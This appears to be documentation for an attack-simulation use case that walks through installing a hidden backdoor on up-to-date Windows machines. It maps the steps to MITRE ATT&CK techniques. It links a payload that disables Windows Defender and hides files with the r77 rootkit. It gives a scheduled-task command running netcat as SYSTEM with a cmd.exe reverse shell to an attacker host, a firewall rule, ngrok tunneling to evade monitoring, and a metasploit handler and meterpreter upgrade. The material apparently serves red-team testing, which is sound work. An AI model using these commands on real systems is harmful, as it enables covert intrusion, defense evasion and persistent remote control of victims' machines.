UC3 rootkit
- Introduction
- Diagnostics
-
Adversarial Techniques
- T1583.006 - Acquire Infrastructure: Web Services
- T1566 - Phising
- T1027.002 - Obfuscated Files or Information: Software Packing
- T1204.002 - User execution: Malicious File
- T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control
- T1059.003 - Command and Scripting Interpreter: Windows Command Shell
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1027.001 - Obfuscated Files or Information: Binary Padding
- T1014 - Rootkit
- T1053.002 - Scheduled Task/Job(Windows)
- T1037 - Boot or Logon Initialization Scripts
- T1102 – Web Service
- T1041 - Exfiltration Over C2 Channel
- Topology
- Sample killchain
- Requirements
Reference documentation pertaining to Use case 3 - Rootkit. This page contains a breakdown of the adversarial techniques employed by the attacker following MITRE's attack matrix knowledge base, as well as the topology and steps required to reproduce this scenario in a test or live environment.
No particular vulnerabilities or out-of-date software need to be present on our potential victim machine in this particular case. Access is granted by the user's consent to administrator privileges on an executable file. Once that is granted, the backdoor is installed in the system, along with the rootkit which masks its presence. An up-to-date Windows7 or Windows10 machine can be used to showcase its effectiveness against current systems.
The attacker may acquire legitimate web services to be used later on during C2 or exfiltration. In this particular case, an account is registered on the ngrok website. Ngrok is a legitimate reverse proxy tool that allows the attacker to have a public facing IP without exposing their own machine.
The payload may be delivered through a number of methods, which are encompassed in the phising umbrella categorization. Since it is a malicious executable file, it may either be attached in an e-mail sent to potential victims (T1566.001), or hosted on a web server while e-mails prompting users to download it from said server are sent out (T1566.002).
Portions of the payload are delivered as a compressed file that is then unpacked and executed on the victim's machine. This helps prevent signature based detection from AVs.
It is assumed the victim executes malicious code delivered to their machine through e-mail or downloaded from a link. Therefore, there is no need for any vulnerabilities to be present on their machine, as access is granted and maintained through userspace, the moment they consented to running the malware attachment on their machine with escalated privileges.
Granted the user executing our malware is within the administrators group and able to click through the prompt, the process elevates its privileges and is consequently able to perform actions resulting in the malware implanting itself and disarming defense mechanisms.
The batch file that runs once permission is granted invokes the windows command shell, sequentially running a series of tasks resulting in malware installation, persistence and obfuscation.
The aformentioned batch file also invokes the powershell scripting environment that is included in modern versions of the Windows operating system. It allows tampering with Defender's default settings and remote content downloading through the use of cmdlets.
Our payload consists of 3 parts.
Defeat-Defender : Batch script which disables Window's Defender's functionality and hampers its
Tamper Protection feature. It also whitelists .exes from being scanned.
Netcat : A network back-end utility used for reading, writing and redirecting data across clients. It is described as a general purpose network tool that admins may use directly or integrate into their scripts.
R77-rootkit : While netcat itself is innocuous, its presence may alert an overzealous AV or network monitoring agents, necessitating that its signature is masked.
https://github.com/bytecode77/r77-rootkit
The R77 rootkit is an open source ring 3 fileless rootkit that allows us to hide processes, connections, registry keys and files by inclusion of a special prefix ($77) or through filepaths in its config. It functions as an obscuring agent for all the traces left in the system by the backdoor we installed.
We initially tried obfuscating our malware through disassembly and noise addition. This effectively prevents flagging through checksums on known malware databases. This however would not suffice on a modern system as Windows Defender or other modern AVs combine layers of machine-learning models, behaviour-based detection algorithms, generics, and heuristics to investigate suspicious files. Malware-like techniques such as alterations to specific parts of the filesystem, or calls to certain library functions will eventually get a file flagged. Therefore, a combined approach needs to be employed, through obfuscation, Windows Defender disarmament and making relevant processes, files and firewall rules opaque with our rootkit.
Payload link:
https://github.com/attacksim/auto-sphinx-usecases/tree/main/UC3-rootkit/payload
The above file can be delivered zipped or extracted, the user needs to double click on dd2.bat and will then be asked to grant administrative privileges. If so, a message claiming that necessary packages are being installed will appear, as per Defeat-Defender's design, while in reality, vital Windows Defender settings will be altered to prevent detection. Once completed, $77-rootkit and netcat will be extracted and embedded into the system.
(*TODO : password protect the compressed file containing our rootkit and TCP agent, then deterministically generate the password through the master script, to circumvent deep scans by AV)
Our backdoor's continued presence is masked by appending the $77 to all relevant files, registry keys, scheduled tasks and firewall rules. Its loading and persistence mechanisms are explained in detail in its technical documentation:
https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdf
Our process ($77nc.exe) remains invisible while a C&C TCP session is running.
Maintained access is ensured through the Windows task scheduler (mitre mentions at.exe but this command is disabled as it is deprecated on a windows10 terminal, we use schtasks.exe instead).
Netcat listener registry addition:
C:\Windows\syswow64\schtasks.exe /create /tn "$77nchelper" /RU "NT AUTHORITY\SYSTEM" /RP /sc ONLOGON /tr "%WINDIR%\system32\$77nc.exe -p 443 %hostname% %port% -e cmd.exe" /rl HIGHEST /f
NT AUTHORITY\SYSTEM is being used so our attacker can gain unrestricted access and our terminal can be obscured from the currently logged in user.
Open port:
netsh advfirewall firewall add rule name= "Service Firewall" dir=in action=allow protocol=TCP localport=445
The scheduled task described above uses the ONLOGON schedule flag, initiating a netcat session once the NT AUTHORITY\SYSTEM user logs on(prior to regular users or admins), right after boot. It should also be noted that having the superuser initiate the sessions serves as a means of privilege escalation.
The attacker uses a legitimate reverse proxy tool, ngrok, so as to mask the victim's session with C&C through a tunnel, as a means to prevent raising an alarm on a corporate/enterprise network. Connections to a legitimate service are far less likely to be detected. The firewall sees a TCP connection with SSL/TLS to a commonly used domain.
Ngrok forwarding setup on the attacker's machine.
It should be noted that while we can configure the victim's source port for its connection to ngrok.io, the destination port is a random port above 1023, since ngrok's free plan doesn't include configurable port numbers when generating a proxy.
Our payload takes a hostname and port as input, specifying where the scheduled netcat task will phone in, every time NT AUTHORITY\SYSTEM logs on. This constraint is imposed by the fact that this is a simulation tool, two alternatives that would allow us to execute the payload in a completely opaque manner are the following:
-
Hardwire where the attacker will be listening to the malware (this is often employed by live malware), or even create a pseudo-random domain generation algorithm with a controllable seed, such as the current date, similar to UC1 – Conficker. The attacker would then be able to register the appropriate domains, given he has access to the generation algorithm and seed.
-
It is possible to generate similar malware with msfvenom, where the attacker's address can be configured during the executable's generation through an interface. The drawback here is that our public facing ngrok proxy is not persistent across sessions, so we opted for providing it as input.
After placing the backdoor, and installing the R77 rootkit, which hides all relevant traces, our payload reboots the victim's machine. The fact that the Windows super admin account "NT AUTHORITY\SYSTEM" was unprotected, allowed us to open a shell towards C2 with the highest possible privileges, superseding all local admins. This also hides our cmd window from any desktop sessions that users spawn.
The attacker's machine is listening for incoming victim connections. This can be done through netcat for example :
nc -lvp ATTACKER_IP LISTENING_PORT
Where LISTENING_PORT is the local port that is being forwarded to by our ngrok proxy.
While not within the scope of this particular example, it should be noted that an attacker may be able to steal or manipulate data once they have established a C2 channel with administrator privileges.
Network topology used during our simulation.
Our workstations are virtual machines using the Windows 10 operating system, with the latest software and virus definition updates installed. Our attacker is a kali Linux virtual machine, using the distribution's preinstalled packages and the free version of Ngrok's tunneling software.
Outline of the steps that might be taken if someone wishes to replicate the attack on their own test environment.
- Attacker setup.
The attacking machine sets up an Ngrok proxy:
ngrok tcp 9999
as well as a listener for the TCP connection netcat is going to initiate from our victim. We opted for metasploit's reverse_tcp payload, while using the exploit/multi/handler stub as our exploit.
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 9999 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
-
Payload delivery: The payload is delivered to Workstation1. A number of options that circumvent SIEM can be employed. The file could be hosted and downloaded from a web server, delivered through mail as an attachment or contained in a flash drive.
-
Payload execution: dd2.bat is executed on the victim's machine, with administrator privileged granted by the user when prompted. The attacker's tunneled public facing address and port are entered as parameters when input is requested. (x.tcp.ngrok.io in our case)
-
The script copies netcat's executable in System32 and hides its presence by installing the r77 rootkit. Furthermore, a scheduled task to run netcat and phone home to our listener is written and the sytem is rebooted.
-
Once NT Authority logs in on the next boot, our reverse TCP handler on the attacker accepts the incoming connection and a shell session is opened. This session is then backgrounded (ctrl + z).
-
Our aim is to elevate the above shell session to a more robust meterpreter session. This is usually fully automated in metasploit through the use of the -u flag.
For example:
sessions -u 1
However, we have to manually configure the appropriate module in this case because our tunneling requires a few extra parameters be set.
Module:
post/multi/manage/shell_to_meterpreter
Lhost needs to be set as the IP of an interface on the actual attacking machine and Lport is the port that our Ngrok proxy is connected to. The fact that Ngrok already occupies said port however, does not allow the payload's handler to bind on the same port. Therefore, we need to utilize ReverseListenerBindPort:
set ReverseListenerBindPort XXXX
where XXXX can be any non-common port. Finally, the session parameter needs to point to the existing shell session's ID from earlier.
Example configuration:
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST 192.168.7.136 no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 9999 yes Port for payload to connect to.
SESSION 1 yes The session to run this module on.
Running this payload opens a meterpreter session under a new ID, the shell session can be killed afterwards.
- The attacker can now use the compromised machine to perform a number of post exploitation techniques.
For example, the victim's subnet can be determined through ipconfig and then an ARP scan can be performed:
use auxiliary/scanner/discovery/arp_sweep
In order to replicate this attack in a test environment the following are required:
• An attacking machine capable of hosting our rootkit + backdoor or sending it via SMTP (e-mail clients, automated tools such as the Social Engineering toolkit or Metasploit, telnet or the ssmtp, mail or sendmail commands on *NIX can all serve this purpose)
• A properly configured mailserver residing within the network being assessed, so as to deliver the payload to the client machines (if mail delivery is chosen).
• Two potential victim client machine running Windows7 or Windows10 as its operating system. No special configuration required. Note that the second client is only present as part of the network for the attacker to run scans against.